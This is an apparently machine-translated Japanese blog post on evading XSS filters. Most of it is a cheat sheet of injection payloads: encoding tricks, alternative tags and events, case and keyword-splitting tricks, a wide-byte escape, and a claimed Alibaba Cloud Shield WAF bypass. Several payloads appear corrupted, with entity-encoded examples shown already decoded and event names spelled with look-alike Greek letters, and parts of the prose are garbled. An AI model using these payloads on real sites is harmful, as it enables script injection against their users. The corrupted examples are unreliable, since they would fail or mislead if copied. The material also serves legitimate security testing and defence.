1。概要
多くの侵入テストを行った結果、システム内に XSS を傍受するさまざまなメカニズムがあることがわかりました。ここでは、XSS をバイパスした私の経験を共有したいと思います。
最初に XSS を学習し始めたとき、最初の攻撃方法は、ペイロードを辞書に整理してから 1 つずつ試すか、バープスイートに入れて爆破することかもしれません。これは非常に直接的で効果的な方法ですが、防御メカニズムが特殊文字を直接エスケープすることである場合、効果は比較的低い可能性があるため、ここで共有する経験は段階的な分析プロセスです。
XSS 攻撃のプロセス:
1. 入力データがページ上でエコーされるかどうかを観察する
2. XSS 防御メカニズムを決定する
3. XSS ペイロードを構築する
4. XSS ステートメントをトリガーする
2. 入力データがページ上でエコーされるかどうかを確認します。
私の経験では、burpsuite を直接使用し、送信されたデータ パケットをインターセプトし、通常のページには存在しない値である abcddcba などのパラメータにタグを追加して、戻りパケット内のタグをクエリしますが、XSS に保存されている場合、現在の戻りパケットにタグが見つからない可能性があります。この場合、F12 を使用してページ内のタグを直接クエリできます。
エコーによると、現在 3 つの状況に遭遇しています。
1. ラベルの外側
2. イベント内
3. js コードの内側
特殊なケース: システムにログ統計機能があり、この機能がアクセス IP、ユーザー入力アカウント、パスワードなどの情報を保存する場合、この機能は XSS 攻撃の実行にも使用できます。(アクセス IP は X-Forwarded For を使用して XSS ステートメントに変更できます)
3. XSS防御メカニズムの判断
XSS 防御メカニズムを判断するには多くの方法がありますが、段階的に進めていきたいので、私の順序は次のとおりです: 1.
フロントエンド フィルタリングであるかどうかを観察する; 2.ブラックリストフィルタリング
であるかどうかを観察する。
4. XSS ペイロードの構築
フィルタリングにブラックリストが使用されている場合は、そのフィルタリング ルールを段階的に分析できます。
1. 特殊記号 <>”()`” など
2. ラベル
3. イベント
4. 動作
①特殊記号:
1. フィルタの括弧 () は
「」に置き換えることができます。
<script>alert`1`</script>
代わりに、実体化された %26lpar;%26rpar; を使用できます。
"/><math/href=javascript%26colon;alert%26lpar;1%26rpar;>1</math>
16 進数 (1)) を使用して置き換えることができます
<img src=111 onerror=javascript:alert(1)>
10進数に置き換えることができます
<a href="javascript:alert(/1/)">a</a>
2. 括弧 () とバックティック `` のフィルタリングは、
base64 エンコード可能
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
ポンド記号 # を使用できます (ただし、このペイロードは IE10 でのみトリガーでき、日付と同様のポップアップ ウィンドウが表示されます)
<img language=vbs src=<b onerror=alert#1/1#>
一重引用符 'コロン: を使用できます (ただし、このペイロードは IE8 以下でのみトリガーできます)
<script language=vbs></script><img src=xx:x onerror="::alert+'1'::">
角括弧 [] が使用可能
<![if<iframe/οnlοad=vbs::alert[:]>
3. コロンをフィルタリングします。
使用: Entity: を置換して使用します。
<a href=javascript:alert(2)>1</a>
4. フィルター山かっこ <> は
URLencode またはセカンダリ URLencode を試行できます
%3cscript%3ealert(1)%3c%2Fscript%3e
%253cscript%253ealert(1)%253c%252Fscript%253e
大文字と小文字の %3c と %3e にも奇跡的な効果がある可能性があります
%3Cscript%3Ealert(1)%3C%2Fscript%3E
5. フィルタースペースには
スラッシュ/を使用できます。
<img/src=1/οnerrοr=alert(1)>
6. フィルター等号 =
<script>alert(1)</script>
②ラベル
XSS をトリガーできるタグは非常に多くあります。いくつかの例を示します。
1.a タグ (文字数が制限されている場合に推奨)
<a href=”javascript:alert(1)">1</a>
2.スクリプトタグ
<script>alert(1)</script>
3. ボタンラベル
<button onfocus=alert(1)>
4.iframeタグ
<iframe onload=alert(1)>
5.imgタグ
<img src=1 onerror=alert(1)>
6. 数学ラベル
<math href="javascript:alert(1)">1</math>
7.コマンドラベル
<command oncut=alert(1)>1</command>
8. オブジェクトタグ
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
9. svgタグ
<svg onload=alert(1)>
もちろん、div、p、textarea、audio、var、video など、トリガーできるタグは多数あります。
10. タグをバイパスする方法は、もちろん大文字です。
<ScRipt>alert(1)</ScRipt>
③イベント
1. イベントでフィルタリングし
、イベントを形成する
<form><button formaction=javascript:alert(1)>1
hrefイベントを使用する
<a href=javascript:alert(1)>
データイベントを使用する
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
2. 長さを制限します。
オンカットとカットトリガーの使用をお勧めします。
<a/oncut=alert(1)>1
3. これは大文字を使用して回避することもできます
④ 動作
1.
プロンプトを使用してアラートをフィルタリングできます
<script>prompt(1)</script>
確認を使用できます
<script>confirm(1)</script>
document.writeを使用できます
<script>document.write(1)</script>
window.openを使用できます
<script>window.open(1)</script>
2. アラート、プロンプト、確認、document.write、window.open などをフィルターします。
置換には 10 進数を使用します。
<img src=1 onerror=javascript:alert('XSS')>
同様に、16 進数でも
Base64 エンコーディングを使用できます。
<a href="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
JSencode を使用する
<script>\u{61}l\u{65}rt`1`</script>
でもパッチワークを使うと
<script>this["ale"+"rt"]`666`</script>
また
<img src=0 onerror="var a='al';var b='ert';a+=b;top[a](1)">
Unicode エンコードを使用する
<img src=0 onerror=%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(22)>
htmlを使用して実体化する
<a href="javascript:alert(1)">Hello</a>
3. JavaScript をフィルターし
て 10 進数を使用して置き換えます
<a href=javascript:alert(2)>1</a>
同様に 16 進数も可能です
<a href=javascript:alert(2)>1</a>
この大文字の使用も回避できます。
4. 大文字の使用も回避できます。
<script>ALerT(1)</script>
エコー時は置換処理を行います。
1. 空のものに置き換えます。
この時点では、バイパスするために再利用できます。
<scrscriptipt>alert(1)</scrscriptipt>
スクリプトを空に置き換えると、前後の scr と ipt をマージできます。
2. バックスラッシュ \ を使用してエスケープし、
ワイド バイト マージ\ を使用できます。
%df“ οnerrοr=alert(1) a=%df”1
\ を二重引用符で囲んで追加し、%df と組み合わせて 1 文字にします
実際に発生した状況:
1. システムは、onclick などの付随イベントをフィルターします。on の後にアンダースコアを追加して on_click になり、データ、式、JavaScript、vbscript などがすべてフィルターされます。
<img src=1 on/οnerrοr=alert(1)>
2. フィルタメソッド javascript:|alert|confirm|window|document||prompt|1 (エンコーディング)|(1) (エンコーディング)
<math/href=javascripT%26NewLine;:/1/[Symbol.replace]('1',alert)>1</math>
3. エコーフィールドはラベルの内側にあり、山括弧 <> と括弧 () はフィルタリングされ、ラベルは type 属性に hidden として含まれます:
accesskey を使用できます
%22%20accesskey=%22x%22%20οnclick=alert%601%60%20a=%221
Firefox ブラウザのトリガー方法 Shift+Alt+x
他のブラウザではまだ成功していません
4. Alibaba Cloud Shield のバイパス (ストレージ XSS 脆弱性)
\"><object data=data:text/html;base64,PG9iamVjdCBkYXRhPWRhdGE6dGV4dC9odG1sO2Jhc2U2NCxQSE5qY21sd2RENWhiR1Z5ZENnaWFHRmphMlZ5SWlrOEwzTmpjbWx3ZEQ0PT4=>
5. イベント時の動作をバイパスし、base64 暗号化を制限する
<object data=data:text/html;charset=utf-8,<script>alert(1)<%2fscript>></object>
5. 最後に
バイパスは併用できます。これが最も興味深い点です。この記事はあまり完全ではないかもしれません。新しい興味深いバイパス方法があれば、更新し続けます。ありがとうございます。